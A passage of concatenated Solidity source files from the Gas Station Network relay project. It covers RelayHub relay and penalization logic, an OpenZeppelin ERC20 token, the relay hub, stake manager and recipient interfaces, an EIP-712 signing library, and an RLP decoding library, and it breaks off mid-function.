IPaymaster.postRelayedCall.selector,
vars.recipientContext,
vars.relayedCallSuccess,
totalInitialGas - gasleft(), /*gasUseWithoutPost*/
relayRequest.relayData
);
{
(bool successPost,bytes memory ret) = relayRequest.relayData.paymaster.call{gas:gasAndDataLimits.postRelayedCallGasLimit}(vars.data);
if (!successPost) {
revertWithStatus(RelayCallStatus.PostRelayedFailed, ret);
}
}
if (balances[relayRequest.relayData.paymaster] < vars.balanceBefore) {
revertWithStatus(RelayCallStatus.PaymasterBalanceChanged, "");
}
return (vars.relayedCallSuccess ? RelayCallStatus.OK : RelayCallStatus.RelayedCallFailed, vars.relayedCallReturnValue);
}
/**
* @dev Reverts the transaction with return data set to the ABI encoding of the status argument (and revert reason data)
*/
function revertWithStatus(RelayCallStatus status, bytes memory ret) private pure {
bytes memory data = abi.encode(status, ret);
GsnEip712Library.truncateInPlace(data);
assembly {
let dataSize := mload(data)
let dataPtr := add(data, 32)
revert(dataPtr, dataSize)
}
}
function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) public override virtual view returns (uint256) {
return relayData.baseRelayFee.add((gasUsed.mul(relayData.gasPrice).mul(relayData.pctRelayFee.add(100))).div(100));
}
function isRelayManagerStaked(address relayManager) public override view returns (bool) {
return stakeManager.isRelayManagerStaked(relayManager, address(this), config.minimumStake, config.minimumUnstakeDelay);
}
function deprecateHub(uint256 fromBlock) public override onlyOwner {
require(deprecationBlock > block.number, "Already deprecated");
deprecationBlock = fromBlock;
emit HubDeprecated(fromBlock);
}
function isDeprecated() public override view returns (bool) {
return block.number >= deprecationBlock;
}
modifier penalizerOnly () {
require(msg.sender == penalizer, "Not penalizer");
_;
}
function penalize(address relayWorker, address payable beneficiary) external override penalizerOnly {
address relayManager = workerToManager[relayWorker];
// The worker must be controlled by a manager with a locked stake
require(relayManager != address(0), "Unknown relay worker");
require(
isRelayManagerStaked(relayManager),
"relay manager not staked"
);
IStakeManager.StakeInfo memory stakeInfo = stakeManager.getStakeInfo(relayManager);
stakeManager.penalizeRelayManager(relayManager, beneficiary, stakeInfo.stake);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
import "../../utils/Context.sol";
import "./IERC20.sol";
import "../../math/SafeMath.sol";
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) public {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal virtual {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
import "../utils/GsnTypes.sol";
import "./IStakeManager.sol";
interface IRelayHub {
struct RelayHubConfig {
// maximum number of worker accounts allowed per manager
uint256 maxWorkerCount;
// Gas set aside for all relayCall() instructions to prevent unexpected out-of-gas exceptions
uint256 gasReserve;
// Gas overhead to calculate gasUseWithoutPost
uint256 postOverhead;
// Gas cost of all relayCall() instructions after actual 'calculateCharge()'
// Assume that relay has non-zero balance (costs 15'000 more otherwise).
uint256 gasOverhead;
// Maximum funds that can be deposited at once. Prevents user error by disallowing large deposits.
uint256 maximumRecipientDeposit;
// Minimum unstake delay blocks of a relay manager's stake on the StakeManager
uint256 minimumUnstakeDelay;
// Minimum stake a relay can have. An attack on the network will never cost less than half this value.
uint256 minimumStake;
// relayCall()'s msg.data upper bound gas cost per byte
uint256 dataGasCostPerByte;
// relayCalls() minimal gas overhead when calculating cost of putting tx on chain.
uint256 externalCallDataCostOverhead;
}
event RelayHubConfigured(RelayHubConfig config);
/// Emitted when a relay server registers or updates its details
/// Looking at these events lets a client discover relay servers
event RelayServerRegistered(
address indexed relayManager,
uint256 baseRelayFee,
uint256 pctRelayFee,
string relayUrl
);
/// Emitted when relays are added by a relayManager
event RelayWorkersAdded(
address indexed relayManager,
address[] newRelayWorkers,
uint256 workersCount
);
/// Emitted when an account withdraws funds from RelayHub.
event Withdrawn(
address indexed account,
address indexed dest,
uint256 amount
);
/// Emitted when depositFor is called, including the amount and account that was funded.
event Deposited(
address indexed paymaster,
address indexed from,
uint256 amount
);
/// Emitted when an attempt to relay a call fails and Paymaster does not accept the transaction.
/// The actual relayed call was not executed, and the recipient not charged.
/// @param reason contains a revert reason returned from preRelayedCall or forwarder.
event TransactionRejectedByPaymaster(
address indexed relayManager,
address indexed paymaster,
address indexed from,
address to,
address relayWorker,
bytes4 selector,
uint256 innerGasUsed,
bytes reason
);
/// Emitted when a transaction is relayed. Note that the actual encoded function might be reverted: this will be
/// indicated in the status field.
/// Useful when monitoring a relay's operation and relayed calls to a contract.
/// Charge is the ether value deducted from the recipient's balance, paid to the relay's manager.
event TransactionRelayed(
address indexed relayManager,
address indexed relayWorker,
address indexed from,
address to,
address paymaster,
bytes4 selector,
RelayCallStatus status,
uint256 charge
);
event TransactionResult(
RelayCallStatus status,
bytes returnValue
);
event HubDeprecated(uint256 fromBlock);
/// Reason error codes for the TransactionRelayed event
/// @param OK - the transaction was successfully relayed and execution successful - never included in the event
/// @param RelayedCallFailed - the transaction was relayed, but the relayed call failed
/// @param RejectedByPreRelayed - the transaction was not relayed due to preRelatedCall reverting
/// @param RejectedByForwarder - the transaction was not relayed due to forwarder check (signature,nonce)
/// @param PostRelayedFailed - the transaction was relayed and reverted due to postRelatedCall reverting
/// @param PaymasterBalanceChanged - the transaction was relayed and reverted due to the paymaster balance change
enum RelayCallStatus {
OK,
RelayedCallFailed,
RejectedByPreRelayed,
RejectedByForwarder,
RejectedByRecipientRevert,
PostRelayedFailed,
PaymasterBalanceChanged
}
/// Add new worker addresses controlled by sender who must be a staked Relay Manager address.
/// Emits a RelayWorkersAdded event.
/// This function can be called multiple times, emitting new events
function addRelayWorkers(address[] calldata newRelayWorkers) external;
function registerRelayServer(uint256 baseRelayFee, uint256 pctRelayFee, string calldata url) external;
// Balance management
/// Deposits ether for a contract, so that it can receive (and pay for) relayed transactions. Unused balance can only
/// be withdrawn by the contract itself, by calling withdraw.
/// Emits a Deposited event.
function depositFor(address target) external payable;
/// Withdraws from an account's balance, sending it back to it. Relay managers call this to retrieve their revenue, and
/// contracts can also use it to reduce their funding.
/// Emits a Withdrawn event.
function withdraw(uint256 amount, address payable dest) external;
// Relaying
/// Relays a transaction. For this to succeed, multiple conditions must be met:
/// - Paymaster's "preRelayCall" method must succeed and not revert
/// - the sender must be a registered Relay Worker that the user signed
/// - the transaction's gas price must be equal or larger than the one that was signed by the sender
/// - the transaction must have enough gas to run all internal transactions if they use all gas available to them
/// - the Paymaster must have enough balance to pay the Relay Worker for the scenario when all gas is spent
///
/// If all conditions are met, the call will be relayed and the recipient charged.
///
/// Arguments:
/// @param maxAcceptanceBudget - max valid value for paymaster.getGasLimits().acceptanceBudget
/// @param relayRequest - all details of the requested relayed call
/// @param signature - client's EIP-712 signature over the relayRequest struct
/// @param approvalData: dapp-specific data forwarded to preRelayedCall.
/// This value is *not* verified by the Hub. For example, it can be used to pass a signature to the Paymaster
/// @param externalGasLimit - the value passed as gasLimit to the transaction.
///
/// Emits a TransactionRelayed event.
function relayCall(
uint maxAcceptanceBudget,
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint externalGasLimit
)
external
returns (bool paymasterAccepted, bytes memory returnValue);
function penalize(address relayWorker, address payable beneficiary) external;
function setConfiguration(RelayHubConfig memory _config) external;
// Deprecate hub (reverting relayCall()) from block number 'fromBlock'
// Can only be called by owner
function deprecateHub(uint256 fromBlock) external;
/// The fee is expressed as a base fee in wei plus percentage on actual charge.
/// E.g. a value of 40 stands for a 40% fee, so the recipient will be
/// charged for 1.4 times the spent amount.
function calculateCharge(uint256 gasUsed, GsnTypes.RelayData calldata relayData) external view returns (uint256);
/* getters */
/// Returns the whole hub configuration
function getConfiguration() external view returns (RelayHubConfig memory config);
function calldataGasCost(uint256 length) external view returns (uint256);
function workerToManager(address worker) external view returns(address);
function workerCount(address manager) external view returns(uint256);
/// Returns an account's deposits. It can be either a deposit of a paymaster, or a revenue of a relay manager.
function balanceOf(address target) external view returns (uint256);
function stakeManager() external view returns (IStakeManager);
function penalizer() external view returns (address);
/// Uses StakeManager info to decide if the Relay Manager can be considered staked
/// @return true if stake size and delay satisfy all requirements
function isRelayManagerStaked(address relayManager) external view returns(bool);
// Checks hubs' deprecation status
function isDeprecated() external view returns (bool);
// Returns the block number from which the hub no longer allows relaying calls.
function deprecationBlock() external view returns (uint256);
/// @return a SemVer-compliant version of the hub contract
function versionHub() external view returns (string memory);
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
import "../utils/GsnTypes.sol";
import "../interfaces/IRelayRecipient.sol";
import "../forwarder/IForwarder.sol";
import "./GsnUtils.sol";
/**
* Bridge Library to map GSN RelayRequest into a call of a Forwarder
*/
library GsnEip712Library {
// maximum length of return value/revert reason for 'execute' method. Will truncate result if exceeded.
uint256 private constant MAX_RETURN_SIZE = 1024;
//copied from Forwarder (can't reference string constants even from another library)
string public constant GENERIC_PARAMS = "address from,address to,uint256 value,uint256 gas,uint256 nonce,bytes data,uint256 validUntil";
bytes public constant RELAYDATA_TYPE = "RelayData(uint256 gasPrice,uint256 pctRelayFee,uint256 baseRelayFee,address relayWorker,address paymaster,address forwarder,bytes paymasterData,uint256 clientId)";
string public constant RELAY_REQUEST_NAME = "RelayRequest";
string public constant RELAY_REQUEST_SUFFIX = string(abi.encodePacked("RelayData relayData)", RELAYDATA_TYPE));
bytes public constant RELAY_REQUEST_TYPE = abi.encodePacked(
RELAY_REQUEST_NAME,"(",GENERIC_PARAMS,",", RELAY_REQUEST_SUFFIX);
bytes32 public constant RELAYDATA_TYPEHASH = keccak256(RELAYDATA_TYPE);
bytes32 public constant RELAY_REQUEST_TYPEHASH = keccak256(RELAY_REQUEST_TYPE);
struct EIP712Domain {
string name;
string version;
uint256 chainId;
address verifyingContract;
}
bytes32 public constant EIP712DOMAIN_TYPEHASH = keccak256(
"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)"
);
function splitRequest(
GsnTypes.RelayRequest calldata req
)
internal
pure
returns (
bytes memory suffixData
) {
suffixData = abi.encode(
hashRelayData(req.relayData));
}
//verify that the recipient trusts the given forwarder
// MUST be called by paymaster
function verifyForwarderTrusted(GsnTypes.RelayRequest calldata relayRequest) internal view {
(bool success, bytes memory ret) = relayRequest.request.to.staticcall(
abi.encodeWithSelector(
IRelayRecipient.isTrustedForwarder.selector, relayRequest.relayData.forwarder
)
);
require(success, "isTrustedForwarder: reverted");
require(ret.length == 32, "isTrustedForwarder: bad response");
require(abi.decode(ret, (bool)), "invalid forwarder for recipient");
}
function verifySignature(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal view {
(bytes memory suffixData) = splitRequest(relayRequest);
bytes32 _domainSeparator = domainSeparator(relayRequest.relayData.forwarder);
IForwarder forwarder = IForwarder(payable(relayRequest.relayData.forwarder));
forwarder.verify(relayRequest.request, _domainSeparator, RELAY_REQUEST_TYPEHASH, suffixData, signature);
}
function verify(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal view {
verifyForwarderTrusted(relayRequest);
verifySignature(relayRequest, signature);
}
function execute(GsnTypes.RelayRequest calldata relayRequest, bytes calldata signature) internal returns (bool forwarderSuccess, bool callSuccess, bytes memory ret) {
(bytes memory suffixData) = splitRequest(relayRequest);
bytes32 _domainSeparator = domainSeparator(relayRequest.relayData.forwarder);
/* solhint-disable-next-line avoid-low-level-calls */
(forwarderSuccess, ret) = relayRequest.relayData.forwarder.call(
abi.encodeWithSelector(IForwarder.execute.selector,
relayRequest.request, _domainSeparator, RELAY_REQUEST_TYPEHASH, suffixData, signature
));
if ( forwarderSuccess ) {
//decode return value of execute:
(callSuccess, ret) = abi.decode(ret, (bool, bytes));
}
truncateInPlace(ret);
}
//truncate the given parameter (in-place) if its length is above the given maximum length
// do nothing otherwise.
//NOTE: solidity warns unless the method is marked "pure", but it DOES modify its parameter.
function truncateInPlace(bytes memory data) internal pure {
MinLibBytes.truncateInPlace(data, MAX_RETURN_SIZE);
}
function domainSeparator(address forwarder) internal pure returns (bytes32) {
return hashDomain(EIP712Domain({
name : "GSN Relayed Transaction",
version : "2",
chainId : getChainID(),
verifyingContract : forwarder
}));
}
function getChainID() internal pure returns (uint256 id) {
/* solhint-disable no-inline-assembly */
assembly {
id := chainid()
}
}
function hashDomain(EIP712Domain memory req) internal pure returns (bytes32) {
return keccak256(abi.encode(
EIP712DOMAIN_TYPEHASH,
keccak256(bytes(req.name)),
keccak256(bytes(req.version)),
req.chainId,
req.verifyingContract));
}
function hashRelayData(GsnTypes.RelayData calldata req) internal pure returns (bytes32) {
return keccak256(abi.encode(
RELAYDATA_TYPEHASH,
req.gasPrice,
req.pctRelayFee,
req.baseRelayFee,
req.relayWorker,
req.paymaster,
req.forwarder,
keccak256(req.paymasterData),
req.clientId
));
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
/**
* a contract must implement this interface in order to support relayed transaction.
* It is better to inherit the BaseRelayRecipient as its implementation.
*/
abstract contract IRelayRecipient {
/**
* return if the forwarder is trusted to forward relayed transactions to us.
* the forwarder is required to verify the sender's signature, and verify
* the call is not a replay.
*/
function isTrustedForwarder(address forwarder) public virtual view returns(bool);
/**
* return the sender of this call.
* if the call came through our trusted forwarder, then the real sender is appended as the last 20 bytes
* of the msg.data.
* otherwise, return `msg.sender`
* should be used in the contract anywhere instead of msg.sender
*/
function _msgSender() internal virtual view returns (address payable);
/**
* return the msg.data of this call.
* if the call came through our trusted forwarder, then the real sender was appended as the last 20 bytes
* of the msg.data - so this method will strip those 20 bytes off.
* otherwise (if the call was made directly and not through the forwarder), return `msg.data`
* should be used in the contract instead of msg.data, where this difference matters.
*/
function _msgData() internal virtual view returns (bytes memory);
function versionRecipient() external virtual view returns (string memory);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity >=0.7.6;
pragma abicoder v2;
import "@openzeppelin/contracts/math/SafeMath.sol";
interface IStakeManager {
/// Emitted when a stake or unstakeDelay are initialized or increased
event StakeAdded(
address indexed relayManager,
address indexed owner,
uint256 stake,
uint256 unstakeDelay
);
/// Emitted once a stake is scheduled for withdrawal
event StakeUnlocked(
address indexed relayManager,
address indexed owner,
uint256 withdrawBlock
);
/// Emitted when owner withdraws relayManager funds
event StakeWithdrawn(
address indexed relayManager,
address indexed owner,
uint256 amount
);
/// Emitted when an authorized Relay Hub penalizes a relayManager
event StakePenalized(
address indexed relayManager,
address indexed beneficiary,
uint256 reward
);
event HubAuthorized(
address indexed relayManager,
address indexed relayHub
);
event HubUnauthorized(
address indexed relayManager,
address indexed relayHub,
uint256 removalBlock
);
event OwnerSet(
address indexed relayManager,
address indexed owner
);
/// @param stake - amount of ether staked for this relay
/// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock'
/// @param withdrawBlock - first block number 'withdraw' will be callable, or zero if the unlock has not been called
/// @param owner - address that receives revenue and manages relayManager's stake
struct StakeInfo {
uint256 stake;
uint256 unstakeDelay;
uint256 withdrawBlock;
address payable owner;
}
struct RelayHubInfo {
uint256 removalBlock;
}
/// Set the owner of a Relay Manager. Called only by the RelayManager itself.
/// Note that owners cannot transfer ownership - if the entry already exists, reverts.
/// @param owner - owner of the relay (as configured off-chain)
function setRelayManagerOwner(address payable owner) external;
/// Only the owner can call this function. If the entry does not exist, reverts.
/// @param relayManager - address that represents a stake entry and controls relay registrations on relay hubs
/// @param unstakeDelay - number of blocks to elapse before the owner can retrieve the stake after calling 'unlock'
function stakeForRelayManager(address relayManager, uint256 unstakeDelay) external payable;
function unlockStake(address relayManager) external;
function withdrawStake(address relayManager) external;
function authorizeHubByOwner(address relayManager, address relayHub) external;
function authorizeHubByManager(address relayHub) external;
function unauthorizeHubByOwner(address relayManager, address relayHub) external;
function unauthorizeHubByManager(address relayHub) external;
function isRelayManagerStaked(address relayManager, address relayHub, uint256 minAmount, uint256 minUnstakeDelay)
external
view
returns (bool);
/// Slash the stake of the relay relayManager. In order to prevent stake kidnapping, burns half of stake on the way.
/// @param relayManager - entry to penalize
/// @param beneficiary - address that receives half of the penalty amount
/// @param amount - amount to withdraw from stake
function penalizeRelayManager(address relayManager, address payable beneficiary, uint256 amount) external;
function getStakeInfo(address relayManager) external view returns (StakeInfo memory stakeInfo);
function maxUnstakeDelay() external view returns (uint256);
function versionSM() external view returns (string memory);
}
// SPDX-License-Identifier:APACHE-2.0
/*
* Taken from https://github.com/hamdiallam/Solidity-RLP
*/
/* solhint-disable */
pragma solidity ^0.7.6;
library RLPReader {
uint8 constant STRING_SHORT_START = 0x80;
uint8 constant STRING_LONG_START = 0xb8;
uint8 constant LIST_SHORT_START = 0xc0;
uint8 constant LIST_LONG_START = 0xf8;
uint8 constant WORD_SIZE = 32;
struct RLPItem {
uint len;
uint memPtr;
}
using RLPReader for bytes;
using RLPReader for uint;
using RLPReader for RLPReader.RLPItem;
// helper function to decode rlp encoded legacy ethereum transaction
/*
* @param rawTransaction RLP encoded legacy ethereum transaction rlp([nonce, gasPrice, gasLimit, to, value, data]))
* @return tuple (nonce,gasPrice,gasLimit,to,value,data)
*/
function decodeLegacyTransaction(bytes calldata rawTransaction) internal pure returns (uint, uint, uint, address, uint, bytes memory){
RLPReader.RLPItem[] memory values = rawTransaction.toRlpItem().toList(); // must convert to an rlpItem first!
return (values[0].toUint(), values[1].toUint(), values[2].toUint(), values[3].toAddress(), values[4].toUint(), values[5].toBytes());
}
/*
* @param rawTransaction format: 0x01 || rlp([chainId, nonce, gasPrice, gasLimit, to, value, data, access_list]))
* @return tuple (nonce,gasPrice,gasLimit,to,value,data)
*/
function decodeTransactionType1(bytes calldata rawTransaction) internal pure returns (uint, uint, uint, address, uint, bytes memory){
bytes memory payload = rawTransaction[1:rawTransaction.length];
RLPReader.RLPItem[] memory values = payload.toRlpItem().toList(); // must convert to an rlpItem first!
return (values[1].toUint(), values[2].toUint(), values[3].toUint(), values[4].toAddress(), values[5].toUint(), values[6].toBytes());
}
/*
* @param item RLP encoded bytes
*/
function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) {
if (item.length == 0)
return RLPItem(0, 0);
uint memPtr;
assembly {
memPtr := add(item, 0x20)
}
return RLPItem(item.length, memPtr);
}
/*
* @param item RLP encoded list in bytes
*/
function toList(RLPItem memory item) internal pure returns (RLPItem[] memory result) {
require(isList(item), "isList failed");
uint items = numItems(item);
result = new RLPItem[](items);
uint memPtr = item.memPtr + _payloadOffset(item.memPtr);
uint dataLen;
for (uint i = 0; i < items; i++) {
dataLen = _itemLength(memPtr);
result[i] = RLPItem(dataLen, memPtr);
memPtr = memPtr + dataLen;
}
}
/*
* Helpers
*/
// @return indicator whether encoded payload is a list. negate this function call for isData.
function isList(RLPItem memory item) internal pure returns (bool) {
uint8 byte0;
uint memPtr = item.memPtr;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < LIST_SHORT_START)
return false;
return true;
}
// @return number of payload items inside an encoded list.
function numItems(RLPItem memory item) internal pure returns (uint) {
uint count = 0;
uint currPtr = item.memPtr + _payloadOffset(item.memPtr);
uint endPtr = item.memPtr + item.len;
while (currPtr < endPtr) {
currPtr = currPtr + _itemLength(currPtr);
// skip over an item
count++;
}
return count;
}
// @return entire rlp item byte length
function _itemLength(uint memPtr) internal pure returns (uint len) {
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
return 1;
else if (byte0 < STRING_LONG_START)
return byte0 - STRING_SHORT_START + 1;
else if (byte0 < LIST_SHORT_START) {
assembly {
let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is
memPtr := add(memPtr, 1) // skip over the first byte
/* 32 byte word size */
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len
len := add(dataLen, add(byteLen, 1))
}
}
else if (byte0 < LIST_LONG_START) {
return byte0 - LIST_SHORT_START + 1;
}
else {
assembly {
let byteLen := sub(byte0, 0xf7)
memPtr := add(memPtr, 1)
let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length
len := add(dataLen, add(byteLen, 1))
}
}
}
// @return number of bytes until the data
function _payloadOffset(uint memPtr) internal pure returns (uint) {
uint byte0;
assembly {
byte0 := byte(0, mload(memPtr))
}
if (byte0 < STRING_SHORT_START)
return 0;
else if (byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START))
return 1;
else if (byte0 < LIST_SHORT_START) // being explicit
return byte0 - (STRING_LONG_START - 1) + 1;
else
return byte0 - (LIST_LONG_START - 1) + 1;
}
/** RLPItem conversions into data types **/
// @returns raw rlp encoding in bytes
function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) {
bytes memory result = new bytes(item.len);
uint ptr;
assembly {
ptr := add(0x20, result)
}
copy(item.memPtr, ptr, item.len);
return result;
}
function toBoolean(RLPItem memory item) internal pure returns (bool) {
require(item.len == 1, "Invalid RLPItem. Booleans are encoded in 1 byte");
uint result;
uint memPtr = item.memPtr;
assembly {
result := byte(0, mload(memPtr))
}
return result == 0 ? false : true;
}
function toAddress(RLPItem memory item) internal pure returns (address) {
// 1 byte for the length prefix according to RLP spec
require(item.len <= 21, "Invalid RLPItem. Addresses are encoded in 20 bytes or less");
return address(toUint(item));
}
function toUint(RLPItem memory item) internal pure returns (uint) {
uint offset = _payloadOffset(item.memPtr);
uint len = item.len - offset;
uint memPtr = item.memPtr + offset;
uint result;
assembly {
result := div(mload(memPtr), exp(256, sub(32, len))) // shift to the correct location
}
return result;
}
function toBytes(RLPItem memory item) internal pure returns (bytes memory) {
uint offset = _payloadOffset(item.memPtr);
uint len = item.len - offset;
// data length
bytes memory result = new bytes(len);
uint destPtr;
assembly {
destPtr := add(0x20, result)
}
copy(item.memPtr + offset, destPtr, len);
return result;
}
/*
* @param src Pointer to source
* @param dest Pointer to destination
* @param len Amount of memory to copy from the source
*/
function copy(uint src, uint dest, uint len) internal pure {
// copy as many word sizes as possible
for (; len >= WORD_SIZE; len -= WORD_SIZE) {
assembly {
mstore(dest, mload(src))
